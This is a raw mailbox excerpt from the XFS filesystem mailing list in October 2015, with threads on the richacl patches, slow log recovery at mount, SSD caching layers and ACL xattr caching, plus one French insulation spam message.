Oct 2015 13:05:16 -0700 (PDT) X-Barracuda-Envelope-From: ffilzlnx@mindspring.com X-Barracuda-Apparent-Source-IP: 209.86.89.62 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=dk20050327; d=mindspring.com; b=s7yKZVpTiJ9fnT+wDhaxrUq3hJNE/JNHKgJynzDP56Yx+ptn48ZRKNiYRSC/bgpv; h=Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language:X-Antivirus-Status:X-ELNK-Trace:X-Originating-IP; Received: from [76.115.190.27] (helo=FranksLaptop) by elasmtp-dupuy.atl.sa.earthlink.net with esmtpa (Exim 4.67) (envelope-from ) id 1ZpiZK-0000W4-1v; Fri, 23 Oct 2015 16:04:06 -0400 From: "Frank Filz" To: "'Andreas Gruenbacher'" , "'Alexander Viro'" , "'Theodore Ts'o'" , "'Andreas Dilger'" , "'J. Bruce Fields'" , "'Jeff Layton'" , "'Trond Myklebust'" , "'Anna Schumaker'" , "'Dave Chinner'" , , , , , , , References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> Subject: RE: [PATCH v12 00/49] Richacls Date: Fri, 23 Oct 2015 13:03:59 -0700 X-ASG-Orig-Subj: RE: [PATCH v12 00/49] Richacls Message-ID: <002f01d10dcd$f5f9f170$e1edd450$@mindspring.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Outlook 15.0 Thread-Index: AQKQbzi69qgXWvbOqYvGKDQwzAEHwJz6vPfQ Content-Language: en-us X-Antivirus: avast! (VPS 151023-0, 10/23/2015), Outbound message X-Antivirus-Status: Clean X-ELNK-Trace: 136157f01908a8929c7f779228e2f6aeda0071232e20db4d63bf53c700e7424e53ae286b46ac801d350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 76.115.190.27 X-Barracuda-Connect: elasmtp-dupuy.atl.sa.earthlink.net[209.86.89.62] X-Barracuda-Start-Time: 1445630716 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23759 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Andreas Gruenbacher: > > Here is another update of the richacl patch queue. I would like to ask for > feedback so that the core and local filesystem code (patches 1-25) can be > merged in the 4.4 merge window. > > Changes since the last posting (http://lwn.net/Articles/661078/): > > * On ext4, filesystems with the richacl feature can no longer be mounted > with -o noacl; richacls cannot be turned off. > > * XFS was listing richacl xattrs as "trusted.system.richacl"; this has > been fixed. > > * Some definitions have been moved from include/linux/ to > include/uapi/linux/. The license of the uapi headers has been changed > to LGPL. Thanks for that last. I kept meaning to ask about that for cleaner use in Ganesha. Frank --- This email has been checked for viruses by Avast antivirus software. https://www.avast.com/antivirus From david@fromorbit.com Fri Oct 23 16:31:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ADA8C7F6F for ; Fri, 23 Oct 2015 16:31:05 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35C31AC005 for ; Fri, 23 Oct 2015 14:31:01 -0700 (PDT) X-ASG-Debug-ID: 1445635858-04cb6c7b8440f20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id YFGLsNtMcArBu1da for ; Fri, 23 Oct 2015 14:30:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DrCwC2pSpWPJv4LHleKAGDDYFDglyDfqJlAQEBAQEBBosniyWCVINDBAICgUBNAQEBAQEBBwEBAQFBP4QyAQEBAwEjDwEjIxAIAxgCAgUhAgIPBSUDBxoTiCgHs0uSSAEBAQcCIRmBCYUOhUWEREkHgmmBRQWHNocOh2iNF4Fgh2OSbIJxBByBaSo0hU8BAxyBKQEBAQ Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Oct 2015 08:00:49 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZpjvF-0005AA-0N; Sat, 24 Oct 2015 08:30:49 +1100 Date: Sat, 24 Oct 2015 08:30:48 +1100 From: Dave Chinner To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs Subject: Re: very long log recovery at mount Message-ID: <20151023213048.GG19199@dastard> X-ASG-Orig-Subj: Re: very long log recovery at mount References: <201510211127.52794.arekm@maven.pl> <20151023070532.GF19199@dastard> <201510230922.04906.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201510230922.04906.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445635858 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 23, 2015 at 09:22:04AM +0200, Arkadiusz Miśkiewicz wrote: > On Friday 23 of October 2015, Dave Chinner wrote: > > On Wed, Oct 21, 2015 at 11:27:52AM +0200, Arkadiusz Miśkiewicz wrote: > > > Hi. > > > > > > I got such situation, fresh boot, 4.1.10 kernel, init scripts start > > > mounting filesystems. One fs wasn't very lucky: > > > > > > [ 15.979538] XFS (md3): Mounting V4 Filesystem > > > [ 16.256316] XFS (md3): Ending clean mount > > > [ 28.343346] XFS (md4): Mounting V4 Filesystem > > > [ 28.629918] XFS (md4): Ending clean mount > > > [ 28.662125] XFS (md5): Mounting V4 Filesystem > > > [ 28.980142] XFS (md5): Ending clean mount > > > [ 29.049421] XFS (md6): Mounting V4 Filesystem > > > [ 29.447725] XFS (md6): Starting recovery (logdev: internal) > > > [ 4517.327332] XFS (md6): Ending recovery (logdev: internal) > > > > > > It took over 1h to mount md6 filesystem. > > > > > > Questions: > > > - is it possible to log how much data is needed to be recovered > > > from log? > > > > Yes. > > > > > Some data that would give a hint on how big this is (and thus > > > rough estimate on how long it will take). Not sure if that's known > > > at time when this message is being printed. > > > > It's not known, then, and can't be known until recovery has sparsed > > the log and read all the objects from disk it needs to recover. > > So I assume not available early enough to be usable. No, it's not. > > > - now such long mount time is almost insane, so I wonder why could > > > be the reason. Is the process multithreaded, single threaded? cpus > > > were idle > > > > What kernel? > > "> > I got such situation, fresh boot, 4.1.10 kernel" Sorry, my fault, I missed that. > > We now have readahead which minimises the IO latency of > > pulling objects into the kernel for recovery, but if you are > > recovering a couple of million individual inode changes (e.g. from a > > 'chproj -R /path/with/millions/of/files') then it take a long tiem > > to read in all the inodes and write them all back out. > > It was like 10x rsnapshots there (so tons of files copied/hardlinked, then > rsynced etc). Ok, so lots of hardlinks, which will result in logs of individual inode cores being logged due to the link count change. > > A single > > inode in the log lik ethis only consumes about 200 bytes of log > > space, so there can easily be 5000 inodes to recover per megabyte > > of log space you have. And if you have a 2GB log, then that could > > contain 10 million inode core changes that need to be recovered.... > > Ok, so what I'm looking for is any kind of indication (in dmesg probably) that > it will take long time (thus was asking about log recovery size). Because > right now it's hard to estimate how long downtime will be and ability to > estimate such things is important. Well, we don't count such things at present. We multiple passes of the log during recovery - the first pass records all the cancelled buffers (i.e. freed metadata buffers) so that we can avoid replay into them. xlog_recover_commit_pass1() doesn't count or look at anything else, but I suspect we could add some kind of "this many objects to recover" accounting output at the end of that phase. We can't do any time estimates, though, because that's entirely dependent on the underlying storage which we know nothing about. Cheers, Dave. -- Dave Chinner david@fromorbit.com From stefanrin@gmail.com Fri Oct 23 16:34:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8FEDE7F6F for ; Fri, 23 Oct 2015 16:34:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7014D304059 for ; Fri, 23 Oct 2015 14:34:03 -0700 (PDT) X-ASG-Debug-ID: 1445636040-04cbb0660d42650001-NocioJ Received: from mail-wi0-f179.google.com (mail-wi0-f179.google.com [209.85.212.179]) by cuda.sgi.com with ESMTP id qsCMlh1ruvkBK37C (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 23 Oct 2015 14:34:01 -0700 (PDT) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.179 Received: by wicfx6 with SMTP id fx6so47533006wic.1 for ; Fri, 23 Oct 2015 14:34:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=pWbjA2DERYcBueIvjLAmnnfGLCOxeZG5SOypfy7tRVk=; b=bePk+4BfwA5nFXlLHMtYvMezXi0m5U9b4Z+O4maoEn7JrLtAS3TTUZ7iAuCAMzNF/J x3d2wwRlGwA97b+yMdeXQ7pXkjPvVYA1C+JKxsyf/VNIu1vadTHg249y70T4u2SrfuJy iHzH9SEC7D+El666iyD1UgZPqb88dZ12fMh8b48sS4oSUl5axUJpABA7A0jv+MoqTjas SY6VdzsNsqn5KOco8o2fQMsDYdYRNeYEHVtW/zr9HZ3gKWNwCC4mo4OtytEfGO+vP3T8 scAop0Y83HRSIWsjniFDzoVbmeXXc+a/u888BUj7gGDoRBwrNpNcUbC8Ldnyh4jJvOok 6S3Q== MIME-Version: 1.0 X-Received: by 10.180.207.238 with SMTP id lz14mr7131003wic.1.1445636040521; Fri, 23 Oct 2015 14:34:00 -0700 (PDT) Received: by 10.194.223.99 with HTTP; Fri, 23 Oct 2015 14:34:00 -0700 (PDT) In-Reply-To: <20151023134805.3c7998e4@harpe.intellique.com> References: <20151022202324.5f00807f@linux> <20151023134805.3c7998e4@harpe.intellique.com> Date: Fri, 23 Oct 2015 23:34:00 +0200 Message-ID: Subject: Re: hdd + ssd From: Stefan Ring X-ASG-Orig-Subj: Re: hdd + ssd To: Emmanuel Florac Cc: "krautus@kr916.org" , Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f179.google.com[209.85.212.179] X-Barracuda-Start-Time: 1445636041 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23760 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Fri, Oct 23, 2015 at 1:48 PM, Emmanuel Florac wrote: > YMMV, but here's my take: > > * flashcache being a facebook internal dev, probably is the most > largely deployed one. It's clearly production-ready. > > * EnhanceIO works fine but I haven't tested it thoroughly. It adds no > signature to the drives so it can be added to existing filesystems > (flashcache and bcache need reformatting). However that means that > bad thing may happen if you're careless -- it's clearly targeted at > always-on servers. > > * bcache works fine but the latest fixes haven't been backported, so > you should probably use it only with latest (4.2, 4.3) kernels. It's > not very mature yet but it's *friggin' fast*. > > * dm-cache is the easiest to set-up with the lvmcache command (if your > distro is recent enough of course). Like very very easy. It's > unfortunately the slowest of the pack, apparently. Doesn't need > reformatting IF your existing FS already lives in a LV. Very good summary, thanks! Do you also happen to know if all of these retain cache contents across reboots? From 2kx_dhh.h57.1db@eventimes.fr Fri Oct 23 23:14:17 2015 Return-Path: <2kx_dhh.h57.1db@eventimes.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 502867F37 for ; Fri, 23 Oct 2015 23:14:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 31BCC304039 for ; Fri, 23 Oct 2015 21:14:14 -0700 (PDT) X-ASG-Debug-ID: 1445660049-04cbb0660d49750001-NocioJ Received: from smtp-a41.wesszing.com (smtp-a41.wesszing.com [82.97.40.216]) by cuda.sgi.com with ESMTP id ci79yAS5yN17YT2u for ; Fri, 23 Oct 2015 21:14:10 -0700 (PDT) X-Barracuda-Envelope-From: 2kx_dhh.h57.1db@eventimes.fr X-Barracuda-Apparent-Source-IP: 82.97.40.216 DKIM-Signature: v=1; a=rsa-sha1; c=simple; d=eventimes.fr; h=to:subject :date:from:reply-to:list-unsubscribe:message-id:mime-version :content-type; s=smtp; bh=rWFu5xsRAJxMu8ciIxyk71FfPkU=; b=icn3z/ ALR72vLnrhz0N1dokd7gvLhzBQWnCq7Oa/4qEweMwEGsazR2p/YJjzVe0Y6YnYSl vjAYWhjyCPlWnhKRy+fa8dR6hOuB+YjpcxroWvRk/JPXrX9BSqli9sb1HcBL1ftz D81ImVoq/dRw9GpA2ssu8J8JHDegtggHc/xVc= DomainKey-Signature: a=rsa-sha1; c=simple; d=eventimes.fr; h=to:subject :date:from:reply-to:list-unsubscribe:message-id:mime-version :content-type; q=dns; s=smtp; b=Y3f1v1K7oxPY5cjUgAJf4duoOpSCxv6S mQ/9GY2Yv4AJGWgVyx/QRGdU33SyCnnex+QWYN/tPOKyYJ30GE8A0mLZDAVPi/U4 OxGV+I1XJ+N+lx15fYzwTt2vt0rK55GdtSFRhbvOdr9sKHVZwAfIMzydXSDdChNZ Fbtui5MmVkQ= To: xfs Subject: isolez votre maison ! Date: Sat, 24 Oct 2015 06:12:36 +0200 X-ASG-Orig-Subj: isolez votre maison ! From: Isolation thermique Reply-to: Isolation thermique <2kx_dhh.h57.1db@eventimes.fr> X-campaign_id: 356155452150709205669087504_6 X-uid_id_m: eGZzQG9zcy5zZ2kuY29t=537 List-Unsubscribe: Message-ID: <543dae191888001970173ca6e89f9f42@eventimes.fr> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="Part1_543dae191888001970173ca6e89f9f42" X-Barracuda-Connect: smtp-a41.wesszing.com[82.97.40.216] X-Barracuda-Start-Time: 1445660050 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23767 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --Part1_543dae191888001970173ca6e89f9f42 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: quoted-printable Pour visualiser et se d=C3=A9sabonner ce message, =20 Veuillez, copier puis coller, l'adresse URL compl=C3=A8te ci-dessous dans= la barre d'adresse de votre navigateur et appuyer sur la touche "Entr=C3=A9e= " de votre clavier. - - - - - - - - - - - - - - - - -=20 http://app.eventimes.fr/v/?camp=3D356155452150709205669087504_6&ms=3DeGZz= QG9zcy5zZ2kuY29t - - - - - - - - - - - - - - - - -=20 --Part1_543dae191888001970173ca6e89f9f42 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: quoted-printable isolez votre maison !

Si cet email ne= s’affiche pas correctement, suivez ce lien.

= Étude gratuite et personnalisée
=
3D""


Pourquoi opter pour l&rsq= uo;isolation thermique ?




L’isolation vous apporte non seulement un confort ap= préciable dans votre habitat, et ce, quelle que soit la saison, ma= is aussi elle vous permet de réduire vos factures de chauffage de = manière significative. L’isolation thermique permet = d’améliorer le confort thermique et de réaliser des &= eacute;conomies d’énergie dans une maison.3D""
DEMANDER UN DEVIS GRATUITEMENT
       
            


02 - 03 = =D0=BD=D0=BE=D1=8F=D0=B1=D1=80=D1=8F
=D0=B3.=20 =D0=9C=D0=BE=D1=81=D0=BA=D0=B2=D0=B0

=D0=9A=D0=B0=D0=BA = =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B8=D1=82=D1=8C =D0=BD=D0=B0 = =D0=BF=D1=80=D0=B5=D0=B4=D0=BF=D1=80=D0=B8=D1=8F=D1=82=D0=B8=D0=B8 = =D0=BC=D0=B5=D1=82=D0=BE=D0=B4=D1=8B=20 = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0<= /FONT>

=D0=9E=D0=B1=D1=83=D1=87=D0=B5=D0=BD=D0=B8=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B2=D0=BE=D0=B4=D0=B8=D1=82=D1=81=D1=8F c=20 10:00 =D0=B4=D0=BE 17:30

=D0=9C=D0=B5=D1=80=D0=BE=D0=BF=D1=80=D0=B8= =D1=8F=D1=82=D0=B8=D0=B5 = =D1=81=D0=BE=D1=81=D1=82=D0=BE=D0=B8=D1=82=D1=81=D1=8F: =D0=BC. = =D0=91=D0=B0=D1=83=D0=BC=D0=B0=D0=BD=D1=81=D0=BA=D0=B0=D1=8F,=20 =D1=83=D0=BB. = =D0=91=D0=B0=D1=83=D0=BC=D0=B0=D0=BD=D1=81=D0=BA=D0=B0=D1=8F, =D0=B4.6, = =D0=B1=D0=B8=D0=B7=D0=BD=D0=B5=D1=81 =D1=86=D0=B5=D0=BD=D1=82=D1=80 = =E2=80=9C=D0=92=D0=B8=D0=BA=D1=82=D0=BE=D1=80=D0=B8=D1=8F = =D0=9F=D0=BB=D0=B0=D0=B7=D0=B0=E2=80=9D.

=D0=92=D1=81=D1=8F=20 =D0=BF=D0=BE=D0=B4=D1=80=D0=BE=D0=B1=D0=BD=D0=B0=D1=8F = =D0=B8=D0=BD=D1=84=D0=BE=D1=80=D0=BC=D0=B0=D1=86=D0=B8=D1=8F =D0=B8 = =D0=B7=D0=B0=D0=BF=D0=B8=D1=81=D1=8C =D0=BD=D0=B0 = =D1=83=D1=87=D0=B0=D1=81=D1=82=D0=B8=D0=B5 =D0=B2 = =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D0=B8 =D0=BF=D0=BE=20 =D1=82=D0=B5=D0=BB=D0=B5=D1=84=D0=BE=D0=BD=D1=83:  =
8  (4 9 5)
=D1=82=D0=B5=D0=BB.: 725 -=20 044 - 8.

 

 
     
   
   
     

          =    =20 ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ = ~ ~ ~ ~ ~=20 ~ ~ ~ ~ ~ ~ ~=20 =  
         &n= bsp;    =20 =D0=A3=D1=87=D0=B0=D1=81=D1=82=D0=B8=D0=B5 =D0=B2 = =D0=BE=D0=B1=D1=83=D1=87=D0=B5=D0=BD=D0=B8=D0=B8 = =D1=81=D0=BE=D1=81=D1=82=D0=B0=D0=B2=D0=B8=D1=82: 22 800=20 = =D1=80.
          &n= bsp;   =20 =D0=92=D1=85=D0=BE=D0=B4=D0=B8=D1=82 = =D0=BC=D0=B5=D1=82=D0=BE=D0=B4=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0=B8=D0=B9 = =D0=BC=D0=B0=D1=82=D0=B5=D1=80=D0=B8=D0=B0=D0=BB, = =D0=BE=D0=B1=D0=B5=D0=B4=D1=8B,=20 = =D0=BA=D0=BE=D1=84=D0=B5-=D0=BF=D0=B0=D1=83=D0=B7=D1=8B.
  &= nbsp;           =20 =D0=9F=D0=BE = =D0=BE=D0=BA=D0=BE=D0=BD=D1=87=D0=B0=D0=BD=D0=B8=D1=8E = =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D0=B9 =D0=92=D0=B0=D0=BC = =D0=B2=D1=8B=D0=B4=D0=B0=D0=B5=D1=82=D1=81=D1=8F = =D1=81=D0=B5=D1=80=D1=82=D0=B8=D1=84=D0=B8=D0=BA=D0=B0=D1=82.=20

------=_NextPart_000_00AB_01D11081.667F2810-- From david@fromorbit.com Tue Oct 27 00:31:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BD59E7F5F for ; Tue, 27 Oct 2015 00:31:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 92C9A8F8037 for ; Mon, 26 Oct 2015 22:31:37 -0700 (PDT) X-ASG-Debug-ID: 1445923893-04bdf0330ab3e20001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id h15QJuYwQ3PQ5lvE for ; Mon, 26 Oct 2015 22:31:34 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BHCQC6Cy9WPJv4LHleKAGDDYFDglyDfqJ5AQEBAQEBBosohSSGCYYXAgIBAQKBQE0BAQEBAQEHAQEBAUE/hDIBAQEDATocIxAIAw4KCSUPBSUDBxoTiCgHxXsBCwEgGYYXhUWEIWwHhC4FljaNGo8ujQmEeio0hW4BAQE Received: from ppp121-44-248-155.lns20.syd7.internode.on.net (HELO dastard) ([121.44.248.155]) by ipmail04.adl6.internode.on.net with ESMTP; 27 Oct 2015 16:00:53 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZqwqL-0003eD-8M; Tue, 27 Oct 2015 16:30:45 +1100 Date: Tue, 27 Oct 2015 16:30:45 +1100 From: Dave Chinner To: Andreas Gruenbacher Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} Message-ID: <20151027053045.GL8773@dastard> X-ASG-Orig-Subj: Re: Inconsistencies with trusted.SGI_ACL_{FILE,DEFAULT} References: <20151024125659.GA8095@bfoster.bfoster> <20151024152254.GA22232@bfoster.bfoster> <20151026213228.GI8773@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1445923893 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23849 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 27, 2015 at 12:52:10AM +0100, Andreas Gruenbacher wrote: > On Mon, Oct 26, 2015 at 10:32 PM, Dave Chinner wrote: > > Really, I'm struggling to understand what the problem is with XFS > > doing translation to it's own special xattr names for ACLs > > underneath the posix layer. > > Right now, setting one of the SGI_ACL attributes leads to stale i_acl > / i_default_acl fields and in the case of SGI_ACL_FILE, possibly to > outdated permissions in i_mode. You would get different information > from getfacl than what's stored on disk. That's because we're not marking the cached acl as stale when setting the acl directly... > > Yes, there's a caching issue when someone directly manipulates > > the underlying xattr, > > "Directly manipulating" could be doing a setxattr of an attribute that > was previously retrieved by getxattr, like restoring a backup. Sure, that's what xfsdump/restore effectively does. > > but you need root to shoot yourself in the foot that way, and that is easily > > solveable. > > What do you mean, it's easily solvable? forget_all_cached_acls() Cheers, Dave. -- Dave Chinner david@fromorbit.com From agruenba@redhat.com Tue Oct 27 05:56:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C573F7F37 for ; Tue, 27 Oct 2015 05:56:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8BCB6304032 for ; Tue, 27 Oct 2015 03:56:51 -0700 (PDT) X-ASG-Debug-ID: 1445943407-04bdf03309bb440001-NocioJ Received: from mail-lb0-f175.google.com (mail-lb0-f175.google.com [209.85.217.175]) by cuda.sgi.com with ESMTP id WlqyCbMagazvCZaD (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 27 Oct 2015 03:56:48 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.175 Received: by lbbwb3 with SMTP id wb3so60377074lbb.1 for ; Tue, 27 Oct 2015 03:56:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=uqCKxTcTRId9qkexPHgK1CoH4W4/xymTV8vTyQ9hQiY=; b=r3Qxm5b8ihOOvzMU6HBtc8l9hRz5gIjpTFqqdIaJFZ7By9IesadWzcY4hsY+SRs/DF xz9tUfv871IgD6E60bwRwBkSD0qY6xg7ZaoD3mJ8a9WCwxE9pkFTQNKerAnSX/zT2NeF jAoCk/PRpvA419f8TkbA3QRgdf5FAMHuzlF8Kfbj6hZkn0tqn/pFPZEZG0/9nbje2hnk E4UYpIURcpLNskKY5a2Rcft9+EJf6Hphjp83IHcCD86mfFLUaJZwxzsXUoMZmp63PZMc Qfbf7XJz7x082cSLvCaD5E/+R+66/L6ZDmPMfV1FD7ZIz+FTC1QZThK5Q9eZ57HQj4ib +ThQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=uqCKxTcTRId9qkexPHgK1CoH4W4/xymTV8vTyQ9hQiY=; 